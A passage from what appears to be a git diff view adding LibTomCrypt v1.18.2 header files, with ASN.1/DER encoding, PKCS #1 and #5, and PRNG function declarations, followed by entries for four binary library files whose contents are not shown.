struct ltc_asn1_list_ *prev, *next, *child, *parent;
} ltc_asn1_list;
#define LTC_SET_ASN1(list, index, Type, Data, Size) \
do { \
int LTC_MACRO_temp = (index); \
ltc_asn1_list *LTC_MACRO_list = (list); \
LTC_MACRO_list[LTC_MACRO_temp].type = (Type); \
LTC_MACRO_list[LTC_MACRO_temp].data = (void*)(Data); \
LTC_MACRO_list[LTC_MACRO_temp].size = (Size); \
LTC_MACRO_list[LTC_MACRO_temp].used = 0; \
} while (0)
/* SEQUENCE */
int der_encode_sequence_ex(ltc_asn1_list *list, unsigned long inlen,
unsigned char *out, unsigned long *outlen, int type_of);
#define der_encode_sequence(list, inlen, out, outlen) der_encode_sequence_ex(list, inlen, out, outlen, LTC_ASN1_SEQUENCE)
int der_decode_sequence_ex(const unsigned char *in, unsigned long inlen,
ltc_asn1_list *list, unsigned long outlen, int ordered);
#define der_decode_sequence(in, inlen, list, outlen) der_decode_sequence_ex(in, inlen, list, outlen, 1)
int der_length_sequence(ltc_asn1_list *list, unsigned long inlen,
unsigned long *outlen);
#ifdef LTC_SOURCE
/* internal helper functions */
int der_length_sequence_ex(ltc_asn1_list *list, unsigned long inlen,
unsigned long *outlen, unsigned long *payloadlen);
/* SUBJECT PUBLIC KEY INFO */
int der_encode_subject_public_key_info(unsigned char *out, unsigned long *outlen,
unsigned int algorithm, void* public_key, unsigned long public_key_len,
unsigned long parameters_type, void* parameters, unsigned long parameters_len);
int der_decode_subject_public_key_info(const unsigned char *in, unsigned long inlen,
unsigned int algorithm, void* public_key, unsigned long* public_key_len,
unsigned long parameters_type, ltc_asn1_list* parameters, unsigned long parameters_len);
#endif /* LTC_SOURCE */
/* SET */
#define der_decode_set(in, inlen, list, outlen) der_decode_sequence_ex(in, inlen, list, outlen, 0)
#define der_length_set der_length_sequence
int der_encode_set(ltc_asn1_list *list, unsigned long inlen,
unsigned char *out, unsigned long *outlen);
int der_encode_setof(ltc_asn1_list *list, unsigned long inlen,
unsigned char *out, unsigned long *outlen);
/* VA list handy helpers with triplets of <type, size, data> */
int der_encode_sequence_multi(unsigned char *out, unsigned long *outlen, ...);
int der_decode_sequence_multi(const unsigned char *in, unsigned long inlen, ...);
/* FLEXI DECODER handle unknown list decoder */
int der_decode_sequence_flexi(const unsigned char *in, unsigned long *inlen, ltc_asn1_list **out);
#define der_free_sequence_flexi der_sequence_free
void der_sequence_free(ltc_asn1_list *in);
void der_sequence_shrink(ltc_asn1_list *in);
/* BOOLEAN */
int der_length_boolean(unsigned long *outlen);
int der_encode_boolean(int in,
unsigned char *out, unsigned long *outlen);
int der_decode_boolean(const unsigned char *in, unsigned long inlen,
int *out);
/* INTEGER */
int der_encode_integer(void *num, unsigned char *out, unsigned long *outlen);
int der_decode_integer(const unsigned char *in, unsigned long inlen, void *num);
int der_length_integer(void *num, unsigned long *len);
/* INTEGER -- handy for 0..2^32-1 values */
int der_decode_short_integer(const unsigned char *in, unsigned long inlen, unsigned long *num);
int der_encode_short_integer(unsigned long num, unsigned char *out, unsigned long *outlen);
int der_length_short_integer(unsigned long num, unsigned long *outlen);
/* BIT STRING */
int der_encode_bit_string(const unsigned char *in, unsigned long inlen,
unsigned char *out, unsigned long *outlen);
int der_decode_bit_string(const unsigned char *in, unsigned long inlen,
unsigned char *out, unsigned long *outlen);
int der_encode_raw_bit_string(const unsigned char *in, unsigned long inlen,
unsigned char *out, unsigned long *outlen);
int der_decode_raw_bit_string(const unsigned char *in, unsigned long inlen,
unsigned char *out, unsigned long *outlen);
int der_length_bit_string(unsigned long nbits, unsigned long *outlen);
/* OCTET STRING */
int der_encode_octet_string(const unsigned char *in, unsigned long inlen,
unsigned char *out, unsigned long *outlen);
int der_decode_octet_string(const unsigned char *in, unsigned long inlen,
unsigned char *out, unsigned long *outlen);
int der_length_octet_string(unsigned long noctets, unsigned long *outlen);
/* OBJECT IDENTIFIER */
int der_encode_object_identifier(unsigned long *words, unsigned long nwords,
unsigned char *out, unsigned long *outlen);
int der_decode_object_identifier(const unsigned char *in, unsigned long inlen,
unsigned long *words, unsigned long *outlen);
int der_length_object_identifier(unsigned long *words, unsigned long nwords, unsigned long *outlen);
unsigned long der_object_identifier_bits(unsigned long x);
/* IA5 STRING */
int der_encode_ia5_string(const unsigned char *in, unsigned long inlen,
unsigned char *out, unsigned long *outlen);
int der_decode_ia5_string(const unsigned char *in, unsigned long inlen,
unsigned char *out, unsigned long *outlen);
int der_length_ia5_string(const unsigned char *octets, unsigned long noctets, unsigned long *outlen);
int der_ia5_char_encode(int c);
int der_ia5_value_decode(int v);
/* TELETEX STRING */
int der_decode_teletex_string(const unsigned char *in, unsigned long inlen,
unsigned char *out, unsigned long *outlen);
int der_length_teletex_string(const unsigned char *octets, unsigned long noctets, unsigned long *outlen);
#ifdef LTC_SOURCE
/* internal helper functions */
int der_teletex_char_encode(int c);
int der_teletex_value_decode(int v);
#endif /* LTC_SOURCE */
/* PRINTABLE STRING */
int der_encode_printable_string(const unsigned char *in, unsigned long inlen,
unsigned char *out, unsigned long *outlen);
int der_decode_printable_string(const unsigned char *in, unsigned long inlen,
unsigned char *out, unsigned long *outlen);
int der_length_printable_string(const unsigned char *octets, unsigned long noctets, unsigned long *outlen);
int der_printable_char_encode(int c);
int der_printable_value_decode(int v);
/* UTF-8 */
#if (defined(SIZE_MAX) || __STDC_VERSION__ >= 199901L || defined(WCHAR_MAX) || defined(__WCHAR_MAX__) || defined(_WCHAR_T) || defined(_WCHAR_T_DEFINED) || defined (__WCHAR_TYPE__)) && !defined(LTC_NO_WCHAR)
#if defined(__WCHAR_MAX__)
#define LTC_WCHAR_MAX __WCHAR_MAX__
#else
#include <wchar.h>
#define LTC_WCHAR_MAX WCHAR_MAX
#endif
/* please note that it might happen that LTC_WCHAR_MAX is undefined */
#else
typedef ulong32 wchar_t;
#define LTC_WCHAR_MAX 0xFFFFFFFF
#endif
int der_encode_utf8_string(const wchar_t *in, unsigned long inlen,
unsigned char *out, unsigned long *outlen);
int der_decode_utf8_string(const unsigned char *in, unsigned long inlen,
wchar_t *out, unsigned long *outlen);
unsigned long der_utf8_charsize(const wchar_t c);
#ifdef LTC_SOURCE
/* internal helper functions */
int der_utf8_valid_char(const wchar_t c);
#endif /* LTC_SOURCE */
int der_length_utf8_string(const wchar_t *in, unsigned long noctets, unsigned long *outlen);
/* CHOICE */
int der_decode_choice(const unsigned char *in, unsigned long *inlen,
ltc_asn1_list *list, unsigned long outlen);
/* UTCTime */
typedef struct {
unsigned YY, /* year */
MM, /* month */
DD, /* day */
hh, /* hour */
mm, /* minute */
ss, /* second */
off_dir, /* timezone offset direction 0 == +, 1 == - */
off_hh, /* timezone offset hours */
off_mm; /* timezone offset minutes */
} ltc_utctime;
int der_encode_utctime(ltc_utctime *utctime,
unsigned char *out, unsigned long *outlen);
int der_decode_utctime(const unsigned char *in, unsigned long *inlen,
ltc_utctime *out);
int der_length_utctime(ltc_utctime *utctime, unsigned long *outlen);
/* GeneralizedTime */
typedef struct {
unsigned YYYY, /* year */
MM, /* month */
DD, /* day */
hh, /* hour */
mm, /* minute */
ss, /* second */
fs, /* fractional seconds */
off_dir, /* timezone offset direction 0 == +, 1 == - */
off_hh, /* timezone offset hours */
off_mm; /* timezone offset minutes */
} ltc_generalizedtime;
int der_encode_generalizedtime(ltc_generalizedtime *gtime,
unsigned char *out, unsigned long *outlen);
int der_decode_generalizedtime(const unsigned char *in, unsigned long *inlen,
ltc_generalizedtime *out);
int der_length_generalizedtime(ltc_generalizedtime *gtime, unsigned long *outlen);
#endif
/* ref: HEAD -> master, tag: v1.18.2 */
/* git commit: 7e7eb695d581782f04b24dc444cbfde86af59853 */
/* commit time: 2018-07-01 22:49:01 +0200 */

108
include/tomcrypt_pkcs.h Normal file
View File

@ -0,0 +1,108 @@
/* LibTomCrypt, modular cryptographic library -- Tom St Denis
*
* LibTomCrypt is a library that provides various cryptographic
* algorithms in a highly modular and flexible manner.
*
* The library is free for all purposes without any express
* guarantee it works.
*/
/* PKCS Header Info */
/* ===> PKCS #1 -- RSA Cryptography <=== */
#ifdef LTC_PKCS_1
enum ltc_pkcs_1_v1_5_blocks
{
LTC_PKCS_1_EMSA = 1, /* Block type 1 (PKCS #1 v1.5 signature padding) */
LTC_PKCS_1_EME = 2 /* Block type 2 (PKCS #1 v1.5 encryption padding) */
};
enum ltc_pkcs_1_paddings
{
LTC_PKCS_1_V1_5 = 1, /* PKCS #1 v1.5 padding (\sa ltc_pkcs_1_v1_5_blocks) */
LTC_PKCS_1_OAEP = 2, /* PKCS #1 v2.0 encryption padding */
LTC_PKCS_1_PSS = 3, /* PKCS #1 v2.1 signature padding */
LTC_PKCS_1_V1_5_NA1 = 4 /* PKCS #1 v1.5 padding - No ASN.1 (\sa ltc_pkcs_1_v1_5_blocks) */
};
int pkcs_1_mgf1( int hash_idx,
const unsigned char *seed, unsigned long seedlen,
unsigned char *mask, unsigned long masklen);
int pkcs_1_i2osp(void *n, unsigned long modulus_len, unsigned char *out);
int pkcs_1_os2ip(void *n, unsigned char *in, unsigned long inlen);
/* *** v1.5 padding */
int pkcs_1_v1_5_encode(const unsigned char *msg,
unsigned long msglen,
int block_type,
unsigned long modulus_bitlen,
prng_state *prng,
int prng_idx,
unsigned char *out,
unsigned long *outlen);
int pkcs_1_v1_5_decode(const unsigned char *msg,
unsigned long msglen,
int block_type,
unsigned long modulus_bitlen,
unsigned char *out,
unsigned long *outlen,
int *is_valid);
/* *** v2.1 padding */
int pkcs_1_oaep_encode(const unsigned char *msg, unsigned long msglen,
const unsigned char *lparam, unsigned long lparamlen,
unsigned long modulus_bitlen, prng_state *prng,
int prng_idx, int hash_idx,
unsigned char *out, unsigned long *outlen);
int pkcs_1_oaep_decode(const unsigned char *msg, unsigned long msglen,
const unsigned char *lparam, unsigned long lparamlen,
unsigned long modulus_bitlen, int hash_idx,
unsigned char *out, unsigned long *outlen,
int *res);
int pkcs_1_pss_encode(const unsigned char *msghash, unsigned long msghashlen,
unsigned long saltlen, prng_state *prng,
int prng_idx, int hash_idx,
unsigned long modulus_bitlen,
unsigned char *out, unsigned long *outlen);
int pkcs_1_pss_decode(const unsigned char *msghash, unsigned long msghashlen,
const unsigned char *sig, unsigned long siglen,
unsigned long saltlen, int hash_idx,
unsigned long modulus_bitlen, int *res);
#endif /* LTC_PKCS_1 */
/* ===> PKCS #5 -- Password Based Cryptography <=== */
#ifdef LTC_PKCS_5
/* Algorithm #1 (PBKDF1) */
int pkcs_5_alg1(const unsigned char *password, unsigned long password_len,
const unsigned char *salt,
int iteration_count, int hash_idx,
unsigned char *out, unsigned long *outlen);
/* Algorithm #1 (PBKDF1) - OpenSSL-compatible variant for arbitrarily-long keys.
Compatible with EVP_BytesToKey() */
int pkcs_5_alg1_openssl(const unsigned char *password,
unsigned long password_len,
const unsigned char *salt,
int iteration_count, int hash_idx,
unsigned char *out, unsigned long *outlen);
/* Algorithm #2 (PBKDF2) */
int pkcs_5_alg2(const unsigned char *password, unsigned long password_len,
const unsigned char *salt, unsigned long salt_len,
int iteration_count, int hash_idx,
unsigned char *out, unsigned long *outlen);
int pkcs_5_test (void);
#endif /* LTC_PKCS_5 */
/* ref: HEAD -> master, tag: v1.18.2 */
/* git commit: 7e7eb695d581782f04b24dc444cbfde86af59853 */
/* commit time: 2018-07-01 22:49:01 +0200 */

232
include/tomcrypt_prng.h Normal file
View File

@ -0,0 +1,232 @@
/* LibTomCrypt, modular cryptographic library -- Tom St Denis
*
* LibTomCrypt is a library that provides various cryptographic
* algorithms in a highly modular and flexible manner.
*
* The library is free for all purposes without any express
* guarantee it works.
*/
/* ---- PRNG Stuff ---- */
#ifdef LTC_YARROW
struct yarrow_prng {
int cipher, hash;
unsigned char pool[MAXBLOCKSIZE];
symmetric_CTR ctr;
};
#endif
#ifdef LTC_RC4
struct rc4_prng {
rc4_state s;
};
#endif
#ifdef LTC_CHACHA20_PRNG
struct chacha20_prng {
chacha_state s; /* chacha state */
unsigned char ent[40]; /* entropy buffer */
unsigned long idx; /* entropy counter */
};
#endif
#ifdef LTC_FORTUNA
struct fortuna_prng {
hash_state pool[LTC_FORTUNA_POOLS]; /* the pools */
symmetric_key skey;
unsigned char K[32], /* the current key */
IV[16]; /* IV for CTR mode */
unsigned long pool_idx, /* current pool we will add to */
pool0_len, /* length of 0'th pool */
wd;
ulong64 reset_cnt; /* number of times we have reset */
};
#endif
#ifdef LTC_SOBER128
struct sober128_prng {
sober128_state s; /* sober128 state */
unsigned char ent[40]; /* entropy buffer */
unsigned long idx; /* entropy counter */
};
#endif
typedef struct {
union {
char dummy[1];
#ifdef LTC_YARROW
struct yarrow_prng yarrow;
#endif
#ifdef LTC_RC4
struct rc4_prng rc4;
#endif
#ifdef LTC_CHACHA20_PRNG
struct chacha20_prng chacha;
#endif
#ifdef LTC_FORTUNA
struct fortuna_prng fortuna;
#endif
#ifdef LTC_SOBER128
struct sober128_prng sober128;
#endif
};
short ready; /* ready flag 0-1 */
LTC_MUTEX_TYPE(lock) /* lock */
} prng_state;
/** PRNG descriptor */
extern struct ltc_prng_descriptor {
/** Name of the PRNG */
const char *name;
/** size in bytes of exported state */
int export_size;
/** Start a PRNG state
@param prng [out] The state to initialize
@return CRYPT_OK if successful
*/
int (*start)(prng_state *prng);
/** Add entropy to the PRNG
@param in The entropy
@param inlen Length of the entropy (octets)\
@param prng The PRNG state
@return CRYPT_OK if successful
*/
int (*add_entropy)(const unsigned char *in, unsigned long inlen, prng_state *prng);
/** Ready a PRNG state to read from
@param prng The PRNG state to ready
@return CRYPT_OK if successful
*/
int (*ready)(prng_state *prng);
/** Read from the PRNG
@param out [out] Where to store the data
@param outlen Length of data desired (octets)
@param prng The PRNG state to read from
@return Number of octets read
*/
unsigned long (*read)(unsigned char *out, unsigned long outlen, prng_state *prng);
/** Terminate a PRNG state
@param prng The PRNG state to terminate
@return CRYPT_OK if successful
*/
int (*done)(prng_state *prng);
/** Export a PRNG state
@param out [out] The destination for the state
@param outlen [in/out] The max size and resulting size of the PRNG state
@param prng The PRNG to export
@return CRYPT_OK if successful
*/
int (*pexport)(unsigned char *out, unsigned long *outlen, prng_state *prng);
/** Import a PRNG state
@param in The data to import
@param inlen The length of the data to import (octets)
@param prng The PRNG to initialize/import
@return CRYPT_OK if successful
*/
int (*pimport)(const unsigned char *in, unsigned long inlen, prng_state *prng);
/** Self-test the PRNG
@return CRYPT_OK if successful, CRYPT_NOP if self-testing has been disabled
*/
int (*test)(void);
} prng_descriptor[];
#ifdef LTC_YARROW
int yarrow_start(prng_state *prng);
int yarrow_add_entropy(const unsigned char *in, unsigned long inlen, prng_state *prng);
int yarrow_ready(prng_state *prng);
unsigned long yarrow_read(unsigned char *out, unsigned long outlen, prng_state *prng);
int yarrow_done(prng_state *prng);
int yarrow_export(unsigned char *out, unsigned long *outlen, prng_state *prng);
int yarrow_import(const unsigned char *in, unsigned long inlen, prng_state *prng);
int yarrow_test(void);
extern const struct ltc_prng_descriptor yarrow_desc;
#endif
#ifdef LTC_FORTUNA
int fortuna_start(prng_state *prng);
int fortuna_add_entropy(const unsigned char *in, unsigned long inlen, prng_state *prng);
int fortuna_ready(prng_state *prng);
unsigned long fortuna_read(unsigned char *out, unsigned long outlen, prng_state *prng);
int fortuna_done(prng_state *prng);
int fortuna_export(unsigned char *out, unsigned long *outlen, prng_state *prng);
int fortuna_import(const unsigned char *in, unsigned long inlen, prng_state *prng);
int fortuna_test(void);
extern const struct ltc_prng_descriptor fortuna_desc;
#endif
#ifdef LTC_RC4
int rc4_start(prng_state *prng);
int rc4_add_entropy(const unsigned char *in, unsigned long inlen, prng_state *prng);
int rc4_ready(prng_state *prng);
unsigned long rc4_read(unsigned char *out, unsigned long outlen, prng_state *prng);
int rc4_done(prng_state *prng);
int rc4_export(unsigned char *out, unsigned long *outlen, prng_state *prng);
int rc4_import(const unsigned char *in, unsigned long inlen, prng_state *prng);
int rc4_test(void);
extern const struct ltc_prng_descriptor rc4_desc;
#endif
#ifdef LTC_CHACHA20_PRNG
int chacha20_prng_start(prng_state *prng);
int chacha20_prng_add_entropy(const unsigned char *in, unsigned long inlen, prng_state *prng);
int chacha20_prng_ready(prng_state *prng);
unsigned long chacha20_prng_read(unsigned char *out, unsigned long outlen, prng_state *prng);
int chacha20_prng_done(prng_state *prng);
int chacha20_prng_export(unsigned char *out, unsigned long *outlen, prng_state *prng);
int chacha20_prng_import(const unsigned char *in, unsigned long inlen, prng_state *prng);
int chacha20_prng_test(void);
extern const struct ltc_prng_descriptor chacha20_prng_desc;
#endif
#ifdef LTC_SPRNG
int sprng_start(prng_state *prng);
int sprng_add_entropy(const unsigned char *in, unsigned long inlen, prng_state *prng);
int sprng_ready(prng_state *prng);
unsigned long sprng_read(unsigned char *out, unsigned long outlen, prng_state *prng);
int sprng_done(prng_state *prng);
int sprng_export(unsigned char *out, unsigned long *outlen, prng_state *prng);
int sprng_import(const unsigned char *in, unsigned long inlen, prng_state *prng);
int sprng_test(void);
extern const struct ltc_prng_descriptor sprng_desc;
#endif
#ifdef LTC_SOBER128
int sober128_start(prng_state *prng);
int sober128_add_entropy(const unsigned char *in, unsigned long inlen, prng_state *prng);
int sober128_ready(prng_state *prng);
unsigned long sober128_read(unsigned char *out, unsigned long outlen, prng_state *prng);
int sober128_done(prng_state *prng);
int sober128_export(unsigned char *out, unsigned long *outlen, prng_state *prng);
int sober128_import(const unsigned char *in, unsigned long inlen, prng_state *prng);
int sober128_test(void);
extern const struct ltc_prng_descriptor sober128_desc;
#endif
int find_prng(const char *name);
int register_prng(const struct ltc_prng_descriptor *prng);
int unregister_prng(const struct ltc_prng_descriptor *prng);
int register_all_prngs(void);
int prng_is_valid(int idx);
LTC_MUTEX_PROTO(ltc_prng_mutex)
/* Slow RNG you **might** be able to use to seed a PRNG with. Be careful as this
* might not work on all platforms as planned
*/
unsigned long rng_get_bytes(unsigned char *out,
unsigned long outlen,
void (*callback)(void));
int rng_make_prng(int bits, int wprng, prng_state *prng, void (*callback)(void));
#ifdef LTC_PRNG_ENABLE_LTC_RNG
extern unsigned long (*ltc_rng)(unsigned char *out, unsigned long outlen,
void (*callback)(void));
#endif
/* ref: HEAD -> master, tag: v1.18.2 */
/* git commit: 7e7eb695d581782f04b24dc444cbfde86af59853 */
/* commit time: 2018-07-01 22:49:01 +0200 */

BIN
lib/tomcrypt.lib Normal file

Binary file not shown.

BIN
lib/tomcryptx64.lib Normal file

Binary file not shown.

BIN
lib/tommath.lib Normal file

Binary file not shown.

BIN
lib/tommathx64.lib Normal file

Binary file not shown.